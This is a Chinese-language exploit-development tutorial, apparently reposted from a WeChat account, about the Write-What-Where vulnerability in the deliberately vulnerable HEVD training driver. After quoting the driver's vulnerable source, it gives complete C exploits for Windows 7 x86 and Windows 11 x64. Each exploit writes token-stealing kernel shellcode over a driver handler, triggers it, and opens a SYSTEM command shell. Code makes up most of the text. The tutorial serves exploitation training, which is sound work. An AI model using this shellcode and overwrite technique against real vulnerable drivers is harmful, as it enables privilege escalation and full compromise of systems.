【翻译】0x04 - Introduction to Windows Kernel Write What Where Vulnerabilities
首先,如果你从头开始跟随这个系列,恭喜你成功通过了 Windows 内核中的 Use After Free 漏洞利用!现在我们将在 Windows 7(x86)上利用 Write What Where 漏洞,然后将我们学到的知识应用到 Windows 11(x64)上。
这可以说是最强大的漏洞类型之一——我个人更喜欢称之为"任意写入"(Arbitrary Write),因为在我听说"Write What Where"之前,我的朋友们都是这么称呼它的。不过,"Write What Where"可能是一个更好的术语,因为它与漏洞的实际功能有直接的关联,而"任意写入"的含义则更加广泛。
无论叫什么名字,让我们开始吧。
目录
-
什么是 Write-What-Where(高级概述) -
Windows 7(x86) -
ArbitraryWriteIoctlHandler -
使用源代码 -
漏洞利用 -
Windows 11(x64) -
逆向工程 -
漏洞利用
什么是 Write-What-Where(高级概述)
如果你不熟悉"Write-What-Where"漏洞是什么,让我们先从一个高级概述开始。
用一个非技术性的例子来说,在海绵宝宝的一集中,海绵宝宝和派大星进行了一场雪球大战。下面是该集的一张图片:
通常,当你制作雪球时,你会将其塑造成球形。然而,如上图所示,派大星实际上制作了立方体。事实上,派大星制作了许多不同的形状:
虽然派大星并没有赢得雪球大战,但他的行为展示了黑客利用 Write-What-Where 漏洞的特征。在这一集中,派大星发射他想要的任何形状(Write),这些形状由雪制成(What),并以海绵宝宝为目标(Where)。
同样,在安全漏洞的背景下,攻击者可以写入任意数据——这可能是任何东西,如字符串、整数或更复杂的对象。就像派大星一样,攻击者也可以选择将这些数据发送到哪里,针对内存的特定部分。
这种同时控制数据及其目的地的能力使"Write-What-Where"漏洞非常危险,因为它们可能导致内存损坏、权限提升,甚至任意代码执行。
Windows 7 (x86)
与前几个教程一样,我们将从 Windows 7(x86)开始。由于利用的复杂性,我们将在本教程中包含两种漏洞利用方法!
那么,启动你的 Windows 7(x86)虚拟机吧!
使用源代码
与 UaF 一样,让我们先了解一下情况 ( ✧≖ ͜ʖ≖)
$ find . -name "ArbitraryWrite*"
./Driver/HEVD/ArbitraryWrite.h
./Driver/HEVD/ArbitraryWrite.c
与之前几个漏洞不同,我们这次不会处理很多"Handler"函数,我们主要关注的是_ArbitraryWriteIoctlHandler_。
ArbitraryWriteIoctlHandler()
ArbitraryWriteIoctlHandler
查看这个处理程序(ArbitraryWrite.c),我们可以看到我们的用户输入最终将被传递到 TriggerArbitraryWrite() 函数中。
134 NTSTATUS
135 ArbitraryWriteIoctlHandler(
136 _In_ PIRP Irp,
137 _In_ PIO_STACK_LOCATION IrpSp
138 )
139 {
140 NTSTATUS Status = STATUS_UNSUCCESSFUL;
141 PWRITE_WHAT_WHERE UserWriteWhatWhere = NULL;
142
143 UNREFERENCED_PARAMETER(Irp);
144 PAGED_CODE();
145
146 UserWriteWhatWhere = (PWRITE_WHAT_WHERE)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
147
148 if (UserWriteWhatWhere)
149 {
150 Status = TriggerArbitraryWrite(UserWriteWhatWhere);
151 }
152
153 return Status;
154 }
然而,我们的输入将被转换为一个PWRITE_WHAT_WHERE
对象(技术上来说是一个指向 WRITE_WHAT_WHERE 结构的指针)。
让我们看一下这个结构(ArbitraryWrite.h)。
62 typedef struct _WRITE_WHAT_WHERE
63 {
64 PULONG_PTR What;
65 PULONG_PTR Where;
66 } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
我们看到两个指向LONG
整数的指针,没什么特别复杂的。
在理解了结构布局后,让我们看一下接收我们输入(以这种结构类型)的_TriggerArbitraryWrite()_函数。
63 NTSTATUS
64 TriggerArbitraryWrite(
65 _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
66 )
67 {
68 PULONG_PTR What = NULL;
69 PULONG_PTR Where = NULL;
70 NTSTATUS Status = STATUS_SUCCESS;
71
72 PAGED_CODE();
73
74 __try
75 {
76 //
77 // Verify if the buffer resides in user mode
78 //
79
80 ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
81
82 What = UserWriteWhatWhere->What;
83 Where = UserWriteWhatWhere->Where;
84
85 DbgPrint("[+] UserWriteWhatWhere: 0x%pn", UserWriteWhatWhere);
86 DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%Xn", sizeof(WRITE_WHAT_WHERE));
87 DbgPrint("[+] UserWriteWhatWhere->What: 0x%pn", What);
88 DbgPrint("[+] UserWriteWhatWhere->Where: 0x%pn", Where);
89
90#ifdef SECURE
91 //
92 // Secure Note: This is secure because the developer is properly validating if address
93 // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
94 // ProbeForWrite() routine before performing the write operation
95 //
96
97 ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
98 ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
99
100 *(Where) = *(What);
101#else
102 DbgPrint("[+] Triggering Arbitrary Writen");
103
104 //
105 // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
106 // because the developer is writing the value pointed by 'What' to memory location
107 // pointed by 'Where' without properly validating if the values pointed by 'Where'
108 // and 'What' resides in User mode
109 //
110
111 *(Where) = *(What);
112#endif
113 }
114 __except (EXCEPTION_EXECUTE_HANDLER)
115 {
116 Status = GetExceptionCode();
117 DbgPrint("[-] Exception Code: 0x%Xn", Status);
118 }
119
120 //
121 // There is one more hidden vulnerability. Find it out.
122 //
123
124 return Status;
125 }
与所有代码块一样,让我们逐段分析这部分内容。
80 ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
81
82 What = UserWriteWhatWhere->What;
83 Where = UserWriteWhatWhere->Where;
84
85 DbgPrint("[+] UserWriteWhatWhere: 0x%pn", UserWriteWhatWhere);
86 DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%Xn", sizeof(WRITE_WHAT_WHERE));
87 DbgPrint("[+] UserWriteWhatWhere->What: 0x%pn", What);
88 DbgPrint("[+] UserWriteWhatWhere->Where: 0x%pn", Where);
首先,我们看到类型为PULONG_PTR
的局部变量是从我们的结构体中赋值的。
接下来,由于我们针对的是有漏洞的驱动程序,所以代码会进入#else
语句。
111 *(Where) = *(What);
在这里我们可以看到,存储在我们的 What 指针中的任何内容都将被写入到 Where 指针指向的位置。更具体地说,我们正在解引用 Where 指针,并将 What 指针所指向的内存位置中存储的值赋给它。
理论上,我们可以将任何内容写入到任何地方。这意味着我们不必过于担心在哪里存储我们的 shellcode,因为我们在内核上下文中运行,可以访问整个操作系统。
我们的方法将是泄露 HEVD 的基地址,并确定一个可以覆盖的函数来执行我们的 shellcode。一旦我们的 shellcode 放置在该函数中,我们就可以简单地调用它。此外,我们不必担心 SMEP,因为我们将执行一个本应在内核空间中的函数。
这看起来足够简单...所以让我们开始利用它吧!
漏洞利用
看到这个漏洞相当基础,我决定立即编写一个概念验证(PoC)。由于我们可以写入任何地方,我们可以简单地覆盖任何函数!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define ARW_HELPER_OBJECTS 3
#define MAX_OBJECT_COUNT 65535
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)
/* Structure used by Write-What-Where */
typedefstruct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
/* typdef signature for ZwQuerySystemInformation */
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
/* Structures used by KernelGetModuleBase */
typedefstruct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedefstruct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
/* KernelGetModuleBase():
Function used to obtain kernel module address */
PVOID KernelGetModuleBase(PCHAR pcModuleName)
{
HANDLE hModule = NULL;
PVOID pSystemInfo = NULL;
PVOID pModule = NULL;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
NTSTATUS status = 0xc000009a; // STATUS_INSUFFICIENT_RESOURCES
SYSTEM_INFORMATION_CLASS SystemModuleInformation = 0x0B;
ULONG SystemInfoSize = 0;
hModule = LoadLibraryA("ntdll.dll");
if (hModule == NULL)
{
printf("[-] Failed to load ntdll.dlln");
returnNULL;
}
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL)
{
printf("[-] Failed to find ZwQuerySystemInformation within ntdll.dll");
CloseHandle(hModule);
returnNULL;
}
/* Obtain the size of the requested information */
status = ZwQuerySystemInformation(SystemModuleInformation,
NULL,
SystemInfoSize,
&SystemInfoSize);
if (SystemInfoSize == 0) {
printf("[*] Failed to get size of SystemInformationn");
CloseHandle(hModule);
returnNULL;
}
pSystemInfo = (PSYSTEM_MODULE_INFORMATION)malloc(SystemInfoSize);
if (pSystemInfo == NULL)
{
printf("[-] Failed to allocate buffer for SystemInformationn");
CloseHandle(hModule);
returnNULL;
}
memset(pSystemInfo, ' ', SystemInfoSize);
/* Obtain the SystemModuleInformation */
status = ZwQuerySystemInformation(SystemModuleInformation,
pSystemInfo,
SystemInfoSize,
&SystemInfoSize);
PSYSTEM_MODULE_ENTRY pSysModule = ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Module;
for (unsignedlong i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Count; i++)
{
if (StrStrA(pSysModule[i].FullPathName, pcModuleName) != NULL)
{
pModule = pSysModule[i].ImageBase;
}
}
if (hModule != NULL)
{
CloseHandle(hModule);
}
return pModule;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username checkn");
return-1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* WriteBytes():
This function triggers the Write-What-Where vulnerability */
void WriteBytes(HANDLE hHEVD, ULONG ulWhat, ULONG ulWhere)
{
DWORD dwBytesReturned;
WRITE_WHAT_WHERE www = { 0 };
www.Where = (PULONG)ulWhere;
www.What = &ulWhat;
printf("t[*] Writing 0x%p to 0x%pn", *www.What, www.Where);
DeviceIoControl(hHEVD,
HEVD_IOCTL_ARBITRARY_WRITE,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
return;
}
/* Exploit():
Arbitrary write */
int Exploit(HANDLE hHEVD)
{
DWORD i = 0;
DWORD dwShellcodeLength = 0;
DWORD dwBytesReturned = 0;
ULONG target = 0;
ULONG ulRawBytes = 0;
PVOID pHEVDBase = NULL;
CHAR cRawBytes[60] = { 0 };
CHAR cShellcode[]=
"x90x90x90" // nops
// sickle -p windows/x86/kernel_token_stealer -f c -m pinpoint
"x60" // pushal
"x31xc0" // xor eax, eax
"x64x8bx80x24x01x00x00"// mov eax, dword ptr fs:[eax + 0x124]
"x8bx40x50" // mov eax, dword ptr [eax + 0x50]
"x89xc1" // mov ecx, eax
"xbax04x00x00x00" // mov edx, 4
"x8bx80xb8x00x00x00" // mov eax, dword ptr [eax + 0xb8]
"x2dxb8x00x00x00" // sub eax, 0xb8
"x39x90xb4x00x00x00" // cmp dword ptr [eax + 0xb4], edx
"x75xed" // jne 0x1014
"x8bx90xf8x00x00x00" // mov edx, dword ptr [eax + 0xf8]
"x89x91xf8x00x00x00" // mov dword ptr [ecx + 0xf8], edx
"x61" // popal
/* return code (sickle -a x86 -m asm_shell) */
"x31xc0" // xor eax, eax
"xc2x08x00"; // ret 0x8
dwShellcodeLength = 60;
if ((dwShellcodeLength % 4) != 0)
{
printf("[-] Shellcode must by divisible by 4n");
return-1;
}
pHEVDBase = KernelGetModuleBase("HEVD");
if (pHEVDBase == NULL)
{
printf("[-] Failed to obtain the base address of HEVDn");
return-1;
}
printf("[*] Obtained HEVD base address: 0x%pn", pHEVDBase);
target = (ULONG)pHEVDBase + 0x448f2;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}n");
/* This is a quick for loop I whipped up to write our shellcode. The way this works is the buffer
is converted into a little endian ASCII address (e.g 0x41424344 -> 0x44434241) then we convert
the ASCII address to an unsigned long integer (4 bytes) to be written via the Write-What-Where
vulnerability. Each iteration we increment the target address by 4 (32bit address) to point to
the next address, we also increment the pointer to the shellcode array by 4 (we can only write
4 bytes at a time). */
for (i = 0; i < dwShellcodeLength; i += 4)
{
sprintf(cRawBytes, "0x%02x%02x%02x%02x", ((uint32_t)cShellcode[i+3] & 0xff),
((uint32_t)cShellcode[i+2] & 0xff),
((uint32_t)cShellcode[i+1] & 0xff),
((uint32_t)cShellcode[i+0] & 0xff));
ulRawBytes = strtoul(cRawBytes, NULL, 16);
WriteBytes(hHEVD, ulRawBytes, target);
memset(cRawBytes, ' ', 60);
target += 4;
}
printf("[+] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxn");
DeviceIoControl(hHEVD,
HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX,
NULL,
0,
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
return-1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy your shell!nn");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run againn");
return-1;
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
成功利用的演示如下
很好,你成功利用了 Write-What-Where 漏洞!作为一个挑战,在阅读下一部分之前,请尝试对任何版本的 Windows 11(x64)进行漏洞利用。
如果你成功获得了代码执行权限,问问自己主要的变化是什么?有变化吗?即使你在下一节之前没有成功,我相信你也会获得一套宝贵的技能,以进一步提升你在漏洞利用过程中的方法
Windows 11 (x64)
在 Windows 7(x86)上相当快速地完成了这个挑战后,让我们尝试在 Windows 11(x64)上进行漏洞利用。
逆向工程
在 Ghidra 中查看有漏洞的函数,使用伪代码很容易发现任意写入点。
接下来我们需要做的是确定_WRITE_WHAT_WHERE
结构的成员是什么,在这种情况下很容易识别,因为我们看到被访问的成员被存储在无符号长指针中。不过,由于我们有符号,我们可以在Data Type Manager
中轻松定位它以确保无误。
了解了这些信息,我们可以开始生成一个概念验证(PoC)来与这个函数交互。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define ARBITRARY_WRITE 0x22200b
/* Structure used by Write-What-Where */
typedefstruct _WRITE_WHAT_WHERE
{
uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
returnNULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
returnNULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
DWORD dwBytesReturned = 0;
WRITE_WHAT_WHERE www = { 0 };
www.ullpWhere = (uint64_t *)ullWhere;
www.ullpWhat = &ullWhat;
printf("t[*] Writing 0x%p to 0x%pn", *www.ullpWhat, www.ullpWhere);
DeviceIoControl(hHEVD,
ARBITRARY_WRITE,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
return;
}
int Exploit(HANDLE hHEVD)
{
LPVOID pHEVDBase = NULL;
DWORD i = 0;
DWORD dwShellcodeLength = 0;
DWORD dwBytesReturned = 0;
uint64_t ullTarget = 0;
uint64_t ullRawBytes = 0;
CHAR cRawBytes[60] = { 0 };
CHAR shellcode[]="x90x90x90x90x90x90x90x42";
dwShellcodeLength = 8;
if ((dwShellcodeLength % 8) != 0)
{
printf("[-] Shellcode must be divisible by 8n");
return-1;
}
pHEVDBase = GetKernelModuleBase("HEVD");
if (pHEVDBase == NULL)
{
printf("[-] Failed to obtain the base address of HEVDn");
return-1;
}
printf("[*] Obtained the base address of HEVD: 0x%pn", pHEVDBase);
ullTarget = (uint64_t)pHEVDBase + 0x85b14;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}n");
for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
{
sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
((uint32_t)shellcode[i+6] & 0xff),
((uint32_t)shellcode[i+5] & 0xff),
((uint32_t)shellcode[i+4] & 0xff),
((uint32_t)shellcode[i+3] & 0xff),
((uint32_t)shellcode[i+2] & 0xff),
((uint32_t)shellcode[i+1] & 0xff),
((uint32_t)shellcode[i+0] & 0xff));
ullRawBytes = strtoull(cRawBytes, NULL, 16);
WriteBytes(hHEVD, ullRawBytes, ullTarget);
memset(cRawBytes, ' ', 60);
ullTarget += sizeof(uint64_t);
}
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
return-1;
}
Exploit(hHEVD);
if (hHEVD != NULL)
CloseHandle(hHEVD);
return0;
}
让我们测试一下。
一旦发送,我们可以看到我们已经成功触发了任意写入
漏洞利用
经过一些调整,我成功编写了一个完全可用的漏洞利用程序,如下所示:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define ARBITRARY_WRITE 0x22200b
#define TARGET_FUNCTION 0x22206f
/* Structure used by Write-What-Where */
typedefstruct _WRITE_WHAT_WHERE
{
uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
returnNULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
returnNULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* WriteBytes():
This function triggers the Write-What-Where vulnerability */
void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
DWORD dwBytesReturned = 0;
WRITE_WHAT_WHERE www = { 0 };
www.ullpWhere = (uint64_t *)ullWhere;
www.ullpWhat = &ullWhat;
printf("t[*] Writing 0x%p to 0x%pn", *www.ullpWhat, www.ullpWhere);
DeviceIoControl(hHEVD,
ARBITRARY_WRITE,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
return;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username checkn");
return-1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* Exploit():
Arbitrary Write */
int Exploit(HANDLE hHEVD)
{
LPVOID pHEVDBase = NULL;
DWORD i = 0;
DWORD dwShellcodeLength = 0;
DWORD dwBytesReturned = 0;
uint64_t ullTarget = 0;
uint64_t ullRawBytes = 0;
CHAR cRawBytes[60] = { 0 };
CHAR shellcode[]=
/* ALIGNMENT */
"x90x90"
/* python3 sickle.py -p windows/x64/kernel_token_stealer -f c -m pinpoint (58 bytes) */
"x65x48xa1x88x01x00x00x00x00x00x00"// movabs rax, qword ptr gs:[0x188]
"x48x8bx80xb8x00x00x00" // mov rax, qword ptr [rax + 0xb8]
"x48x89xc1" // mov rcx, rax
"xb2x04" // mov dl, 4
"x48x8bx80x48x04x00x00" // mov rax, qword ptr [rax + 0x448]
"x48x2dx48x04x00x00" // sub rax, 0x448
"x38x90x40x04x00x00" // cmp byte ptr [rax + 0x440], dl
"x75xeb" // jne 0x1017
"x48x8bx90xb8x04x00x00" // mov rdx, qword ptr [rax + 0x4b8]
"x48x89x91xb8x04x00x00" // mov qword ptr [rcx + 0x4b8], rdx
/* KERNEL RECOVERY */
"x48x31xc0" /* xor rax, rax */
"xc3"; /* ret */
dwShellcodeLength = 64;
if ((dwShellcodeLength % 8) != 0)
{
printf("[-] Shellcode must be divisible by 8n");
return-1;
}
pHEVDBase = GetKernelModuleBase("HEVD");
if (pHEVDBase == NULL)
{
printf("[-] Failed to obtain the base address of HEVDn");
return-1;
}
printf("[*] Obtained the base address of HEVD: 0x%pn", pHEVDBase);
ullTarget = (uint64_t)pHEVDBase + 0x85b14;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}n");
/* Same operation as the Windows 7 exploit just ported to work on 64bit addressing */
for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
{
sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
((uint32_t)shellcode[i+6] & 0xff),
((uint32_t)shellcode[i+5] & 0xff),
((uint32_t)shellcode[i+4] & 0xff),
((uint32_t)shellcode[i+3] & 0xff),
((uint32_t)shellcode[i+2] & 0xff),
((uint32_t)shellcode[i+1] & 0xff),
((uint32_t)shellcode[i+0] & 0xff));
ullRawBytes = strtoull(cRawBytes, NULL, 16);
WriteBytes(hHEVD, ullRawBytes, ullTarget);
memset(cRawBytes, ' ', 60);
ullTarget += sizeof(uint64_t);
}
printf("[*] Shellcode buffer written!!n");
printf("[*] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandlern");
DeviceIoControl(hHEVD,
TARGET_FUNCTION,
NULL,
0x00,
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
return-1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy the shell!!nn");
system("cmd.exe");
} else {
printf("[*] Exploitation failed, run againn");
}
if (hHEVD != NULL)
CloseHandle(hHEVD);
return0;
}
一旦发送,我们就成功实现了代码执行!
原文始发于微信公众号(securitainment):Windows 内核任意写入(Write What Where)漏洞介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论